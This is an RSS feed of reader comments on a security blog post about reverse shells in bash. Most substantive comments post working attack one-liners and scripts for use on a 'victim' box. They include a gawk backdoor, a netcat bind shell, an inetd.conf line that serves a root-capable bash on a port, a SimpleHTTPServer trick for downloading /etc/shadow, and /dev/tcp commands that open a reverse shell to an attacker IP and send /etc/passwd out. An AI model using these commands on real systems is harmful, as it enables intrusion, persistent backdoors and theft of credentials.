<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Reverse Shell with Bash</title>
	<atom:link href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/</link>
	<description>Information Security Think Tank</description>
	<lastBuildDate>Sat, 02 Feb 2013 17:50:40 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.1</generator>
	<item>
		<title>By: Reverse Shell Cheat Sheet &#171; 7shadan</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-133997</link>
		<dc:creator>Reverse Shell Cheat Sheet &#171; 7shadan</dc:creator>
		<pubDate>Mon, 05 Mar 2012 15:48:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-133997</guid>
		<description>[...] versions of bash can send you a reverse shell (this was tested on Ubuntu [...]</description>
		<content:encoded><![CDATA[<p>[...] versions of bash can send you a reverse shell (this was tested on Ubuntu [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Guy</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-129730</link>
		<dc:creator>Guy</dc:creator>
		<pubDate>Fri, 18 Feb 2011 10:03:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-129730</guid>
		<description>I doubt whether this can be correct. 

The man page of nc mentions this w.r.t. to the &lt;code&gt;-l&lt;/code&gt; option&quot;: &quot;It is an error to use this &lt;code&gt;[l-]&lt;/code&gt; option in conjunction with the &lt;code&gt;-p&lt;/code&gt;, &lt;code&gt;-s&lt;/code&gt;, or &lt;code&gt;-z&lt;/code&gt; options.&quot;</description>
		<content:encoded><![CDATA[<p>I doubt whether this can be correct. </p>
<p>The man page of nc mentions this w.r.t. to the <code>-l</code> option&#8221;: &#8220;It is an error to use this <code>[l-]</code> option in conjunction with the <code>-p</code>, <code>-s</code>, or <code>-z</code> options.&#8221;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-129143</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Sun, 26 Sep 2010 20:11:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-129143</guid>
		<description>not really! :)</description>
		<content:encoded><![CDATA[<p>not really! :)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: revtan</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-128472</link>
		<dc:creator>revtan</dc:creator>
		<pubDate>Wed, 07 Apr 2010 01:43:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-128472</guid>
		<description>thanks for nice article...

&lt;pre&gt;&lt;code&gt;(macubergeek == pdp)  ? ;-P : ;-&#124;&lt;/code&gt;&lt;/pre&gt;</description>
		<content:encoded><![CDATA[<p>thanks for nice article&#8230;</p>
<pre><code>(macubergeek == pdp)  ? ;-P : ;-|</code></pre>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ø´Ù„ Ø¨Ø±Ø¹Ú©Ø³ÛŒ! ÙÙ‚Ø· Ø¨Ø±Ø§ÛŒ Ù„ÛŒÙ†ÙˆÚ©Ø³ÛŒâ€ŒÙ‡Ø§! &#124; Ø®ÙˆØ¯ Ø®ÙˆØ¯Ù…Ø§Ù†</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-128120</link>
		<dc:creator>Ø´Ù„ Ø¨Ø±Ø¹Ú©Ø³ÛŒ! ÙÙ‚Ø· Ø¨Ø±Ø§ÛŒ Ù„ÛŒÙ†ÙˆÚ©Ø³ÛŒâ€ŒÙ‡Ø§! &#124; Ø®ÙˆØ¯ Ø®ÙˆØ¯Ù…Ø§Ù†</dc:creator>
		<pubDate>Wed, 27 Jan 2010 14:03:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-128120</guid>
		<description>[...] Ø§ÛŒÙ† Ø±ÙˆØ´ Ø±Ø§ Ø§ÛŒÙ†Ø¬Ø§ [...]</description>
		<content:encoded><![CDATA[<p>[...] Ø§ÛŒÙ† Ø±ÙˆØ´ Ø±Ø§ Ø§ÛŒÙ†Ø¬Ø§ [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: &#187; RT @sanand0: @jeffbarr Have a &#8230; Thej Live</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-128109</link>
		<dc:creator>&#187; RT @sanand0: @jeffbarr Have a &#8230; Thej Live</dc:creator>
		<pubDate>Wed, 20 Jan 2010 10:42:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-128109</guid>
		<description>[...] @sanand0: @jeffbarr Have a look at http://matahari.sourceforge.net/ and http://www.gnucitizen.org/blog/reverse-shell-with-bash/ [...]</description>
		<content:encoded><![CDATA[<p>[...] @sanand0: @jeffbarr Have a look at <a href="http://matahari.sourceforge.net/" rel="nofollow">http://matahari.sourceforge.net/</a> and <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/" rel="nofollow">http://www.gnucitizen.org/blog.....with-bash/</a> [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Reverse Shell &#124; Computerglitch Research Project</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-128029</link>
		<dc:creator>Reverse Shell &#124; Computerglitch Research Project</dc:creator>
		<pubDate>Tue, 08 Dec 2009 18:04:07 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-128029</guid>
		<description>[...] discussion on the subject can be seen here: http://www.gnucitizen.org/blog/reverse-shell-with-bash/. As you can see many interesting ways of achieving this goal have been [...]</description>
		<content:encoded><![CDATA[<p>[...] discussion on the subject can be seen here: <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/" rel="nofollow">http://www.gnucitizen.org/blog.....with-bash/</a>. As you can see many interesting ways of achieving this goal have been [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-127536</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Thu, 25 Jun 2009 12:19:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127536</guid>
		<description>@Jeff: awesome. just tested it on my ubuntu workstation and works like a charm. thanks for sharing!</description>
		<content:encoded><![CDATA[<p>@Jeff: awesome. just tested it on my ubuntu workstation and works like a charm. thanks for sharing!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jeff Price</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-127498</link>
		<dc:creator>Jeff Price</dc:creator>
		<pubDate>Wed, 17 Jun 2009 17:58:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498</guid>
		<description>2 way /dev/tcp communication on debian. Use netcat

&lt;pre&gt;&lt;code&gt;mkfifo mypipe
cat mypipe&#124;/bin/bash&#124;nc -l -p 6000 &gt;mypipe&lt;/code&gt;&lt;/pre&gt;</description>
		<content:encoded><![CDATA[<p>2 way /dev/tcp communication on debian. Use netcat</p>
<pre><code>mkfifo mypipe
cat mypipe|/bin/bash|nc -l -p 6000 &gt;mypipe</code></pre>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-124302</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Mon, 10 Nov 2008 08:58:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-124302</guid>
		<description>this is quite interesting. thanks for sharing.</description>
		<content:encoded><![CDATA[<p>this is quite interesting. thanks for sharing.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: vecna</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-124301</link>
		<dc:creator>vecna</dc:creator>
		<pubDate>Mon, 10 Nov 2008 08:53:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-124301</guid>
		<description>http://www.delirandom.net/20080323/ping-is-the-most-deployed-backdoor-on-the-net-omg/ the same prerequisite, but traffic is encoded in icmp.</description>
		<content:encoded><![CDATA[<p><a href="http://www.delirandom.net/20080323/ping-is-the-most-deployed-backdoor-on-the-net-omg/" rel="nofollow">http://www.delirandom.net/2008.....e-net-omg/</a> the same prerequisite, but traffic is encoded in icmp.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: edward baddouh</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-123738</link>
		<dc:creator>edward baddouh</dc:creator>
		<pubDate>Tue, 16 Sep 2008 22:46:29 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-123738</guid>
		<description>nice work pdp, keep on going!</description>
		<content:encoded><![CDATA[<p>nice work pdp, keep on going!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-122405</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sun, 01 Jun 2008 16:37:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122405</guid>
		<description>Python Trick

If you can use a web app to execute shell commands on the victim:

&lt;pre&gt;&lt;code&gt;cd / &amp;&amp; python -m SimpleHTTPServer&lt;/code&gt;&lt;/pre&gt;

then

Python will start it&#039;s own web server listening on port 8000. You can surf to the victim on that port: &lt;code&gt;http://victim:8000&lt;/code&gt; and then transverse the entire file system and download &lt;code&gt;/etc/passwd&lt;/code&gt; and &lt;code&gt;/etc/shadow&lt;/code&gt;.

Tested on macos x 10.5.3 and Safari 3.1.1. For other *nix variants, your mileage may vary.</description>
		<content:encoded><![CDATA[<p>Python Trick</p>
<p>If you can use a web app to execute shell commands on the victim:</p>
<pre><code>cd / &amp;&amp; python -m SimpleHTTPServer</code></pre>
<p>then</p>
<p>Python will start it&#8217;s own web server listening on port 8000. You can surf to the victim on that port: <code><a href="http://victim:8000" rel="nofollow">http://victim:8000</a></code> and then transverse the entire file system and download <code>/etc/passwd</code> and <code>/etc/shadow</code>.</p>
<p>Tested on macos x 10.5.3 and Safari 3.1.1. For other *nix variants, your mileage may vary.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-122404</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sun, 01 Jun 2008 16:34:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122404</guid>
		<description>Yes exact citation for above is p62-0x08_Remote_Exec.txt &quot;FIST! FIST! FIST! Its all in the wrist: Remote Exec&quot; by grugg</description>
		<content:encoded><![CDATA[<p>Yes exact citation for above is p62-0x08_Remote_Exec.txt &#8220;FIST! FIST! FIST! Its all in the wrist: Remote Exec&#8221; by grugg</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-122387</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Fri, 30 May 2008 22:52:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387</guid>
		<description>Ok I know I know I&#039;m obsessive ;-) Here is a reverse shell implemented in gawk

Credit: Phrack 62

&lt;pre&gt;&lt;code&gt;#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       &quot;bkd&gt; &quot;

        Service = &quot;/inet/tcp/&quot; Port &quot;/0/0&quot;
        while (1) {
                do {
                        printf Prompt &#124;&amp; Service
                        Service &#124;&amp; getline cmd
                        if (cmd) {
                                while ((cmd &#124;&amp; getline) &gt; 0)
                                        print $0 &#124;&amp; Service
                                close(cmd)
                        }
                } while (cmd != &quot;exit&quot;)
                close(Service)
        }
}&lt;/pre&gt;&lt;/code&gt;</description>
		<content:encoded><![CDATA[<p>Ok I know I know I&#8217;m obsessive ;-) Here is a reverse shell implemented in gawk</p>
<p>Credit: Phrack 62</p>
<pre><code>#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd&gt; "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |&amp; Service
                        Service |&amp; getline cmd
                        if (cmd) {
                                while ((cmd |&amp; getline) &gt; 0)
                                        print $0 |&amp; Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}</code></pre>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-122254</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sun, 25 May 2008 19:15:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122254</guid>
		<description>Ok here&#039;s some old skool stuff. To create a listener on a *nix box running inetd (as apposed to xinetd)

&lt;ul&gt;
&lt;li&gt;Pick an obscure service from &lt;code&gt;/etc/services&lt;/code&gt; associated with a tcp port 1024 and above...for example laplink &lt;pre&gt;&lt;code&gt;laplink         1547/tcp     # laplink&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Add the following line to &lt;code&gt;/etc/inetd.conf&lt;/code&gt; &lt;pre&gt;&lt;code&gt;laplink    stream  tcp     nowait  /bin/bash bash -i&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;restart &lt;code&gt;inetd.conf&lt;/code&gt; &lt;pre&gt;&lt;code&gt;killall -HUP inetd&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;strong&gt;Explaination:&lt;/strong&gt; You are creating a listener on port tcp/1547 that will shovel you a bash shell.

&lt;strong&gt;Caveat:&lt;/strong&gt; this obviously is not my *idea* It&#039;s just very VERY old stuff that still works.</description>
		<content:encoded><![CDATA[<p>Ok here&#8217;s some old skool stuff. To create a listener on a *nix box running inetd (as apposed to xinetd)</p>
<ul>
<li>Pick an obscure service from <code>/etc/services</code> associated with a tcp port 1024 and above&#8230;for example laplink
<pre><code>laplink         1547/tcp     # laplink</code></pre>
</li>
<li>Add the following line to <code>/etc/inetd.conf</code>
<pre><code>laplink    stream  tcp     nowait  /bin/bash bash -i</code></pre>
</li>
<li>restart <code>inetd.conf</code>
<pre><code>killall -HUP inetd</code></pre>
</li>
</ul>
<p><strong>Explaination:</strong> You are creating a listener on port tcp/1547 that will shovel you a bash shell.</p>
<p><strong>Caveat:</strong> this obviously is not my *idea* It&#8217;s just very VERY old stuff that still works.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-122233</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sat, 24 May 2008 13:05:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122233</guid>
		<description>BTW the /dev/tcp and /dev/udp is also a feature of the Korn shell. Korn shell is robust shell favored by *nix oldskoolers. You will find it installed by default on Mac OS X. I don&#039;t believe it comes default on the remainder of the BSDs(free and open). As far as I can tell it works pretty much the way it does under Bash.</description>
		<content:encoded><![CDATA[<p>BTW the /dev/tcp and /dev/udp is also a feature of the Korn shell. Korn shell is robust shell favored by *nix oldskoolers. You will find it installed by default on Mac OS X. I don&#8217;t believe it comes default on the remainder of the BSDs(free and open). As far as I can tell it works pretty much the way it does under Bash.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-121307</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Fri, 09 May 2008 19:44:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-121307</guid>
		<description>Here is an important thing I just realized...d&#039;oh this /dev/tcp/ thing can only connect outbound, it cannot listen and receive a connection like netcat. As far as I can tell ;-)</description>
		<content:encoded><![CDATA[<p>Here is an important thing I just realized&#8230;d&#8217;oh this /dev/tcp/ thing can only connect outbound, it cannot listen and receive a connection like netcat. As far as I can tell ;-)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-120921</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Tue, 06 May 2008 09:36:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120921</guid>
		<description>Transfer a file using HTTP: Say you have compromised a victim box and want to transfer a file to the victim. 

1. Put the file in the web root of the attacker box (I&#039;m thinking of the web server in backtrack.
2. Start up the web server on the attacker box
3. On the victim box do:

&lt;pre&gt;&lt;code&gt;(echo -e &quot;GET /filename_you_are_moving HTTP/0.9\r\n\r\n&quot; \
1&gt;&amp;3 &amp; cat 0&lt;&amp;3) 3 /dev/tcp/AttackerIP/80 \
&#124; (read i; while [ &quot;$(echo $i &#124; tr -d &#039;\r&#039;)&quot; != &quot;&quot; ]; \
do read i; done; cat) &gt; local_filename&lt;/code&gt;&lt;/pre&gt;

Credit where credit is due:
http://www.pebble.org.uk/linux/bashbrowser</description>
		<content:encoded><![CDATA[<p>Transfer a file using HTTP: Say you have compromised a victim box and want to transfer a file to the victim. </p>
<p>1. Put the file in the web root of the attacker box (I&#8217;m thinking of the web server in backtrack.<br />
2. Start up the web server on the attacker box<br />
3. On the victim box do:</p>
<pre><code>(echo -e "GET /filename_you_are_moving HTTP/0.9\r\n\r\n" \
1&gt;&amp;3 &amp; cat 0&lt;&amp;3) 3 /dev/tcp/AttackerIP/80 \
| (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; \
do read i; done; cat) &gt; local_filename</code></pre>
<p>Credit where credit is due:<br />
<a href="http://www.pebble.org.uk/linux/bashbrowser" rel="nofollow">http://www.pebble.org.uk/linux/bashbrowser</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-120875</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Mon, 05 May 2008 23:45:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120875</guid>
		<description>Fun and games with &lt;code&gt;/dev/tcp&lt;/code&gt; and file transfer: Ok here is how to use this bash &lt;code&gt;/dev/tcp&lt;/code&gt; trick to move a file.

&lt;ol&gt;
&lt;li&gt;On attacker&#039;s box: I want to move a file named test.txt to the victim box&lt;pre&gt;&lt;code&gt;cat test.txt &#124; nc -l 3333&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;I&#039;ll then connect out from victim to attacker&#039;s port 3333 and pull back the file &lt;code&gt;test.txt&lt;/code&gt;&lt;pre&gt;&lt;code&gt;bash -i &gt;&amp; /dev/tcp/attackersIP/8080 0&gt;&amp;1 &gt; test.txt&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

Advantages: netcat stays on the attacker&#039;s box. All I use on the victim box is what&#039;s already there...bash ;-)

--------------------------------------

ok so you are probably saying &quot;That&#039;s nice&quot; but if I&#039;m already on the victim and I want to say transfer /etc/password or /etc/shadow back to my attacker&#039;s box and I&#039;m too lazy to do terminal copy and paste...then what?

&lt;ol&gt;
&lt;li&gt;on attacker&#039;s box do&lt;pre&gt;&lt;code&gt;nc -l -p 8080 -vvv &gt; passwd&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;on victim box do&lt;pre&gt;&lt;code&gt;cat /etc/passwd &gt; /dev/tcp/attackerIP/8080&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

and like magic the victim&#039;s /etc/password is transferred to the attacker&#039;s box.</description>
		<content:encoded><![CDATA[<p>Fun and games with <code>/dev/tcp</code> and file transfer: Ok here is how to use this bash <code>/dev/tcp</code> trick to move a file.</p>
<ol>
<li>On attacker&#8217;s box: I want to move a file named test.txt to the victim box
<pre><code>cat test.txt | nc -l 3333</code></pre>
</li>
<li>I&#8217;ll then connect out from victim to attacker&#8217;s port 3333 and pull back the file <code>test.txt</code>
<pre><code>bash -i &gt;&amp; /dev/tcp/attackersIP/8080 0&gt;&amp;1 &gt; test.txt</code></pre>
</li>
</ol>
<p>Advantages: netcat stays on the attacker&#8217;s box. All I use on the victim box is what&#8217;s already there&#8230;bash ;-)</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>ok so you are probably saying &#8220;That&#8217;s nice&#8221; but if I&#8217;m already on the victim and I want to say transfer /etc/password or /etc/shadow back to my attacker&#8217;s box and I&#8217;m too lazy to do terminal copy and paste&#8230;then what?</p>
<ol>
<li>on attacker&#8217;s box do
<pre><code>nc -l -p 8080 -vvv &gt; passwd</code></pre>
</li>
<li>on victim box do
<pre><code>cat /etc/passwd &gt; /dev/tcp/attackerIP/8080</code></pre>
</li>
</ol>
<p>and like magic the victim&#8217;s /etc/password is transferred to the attacker&#8217;s box.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
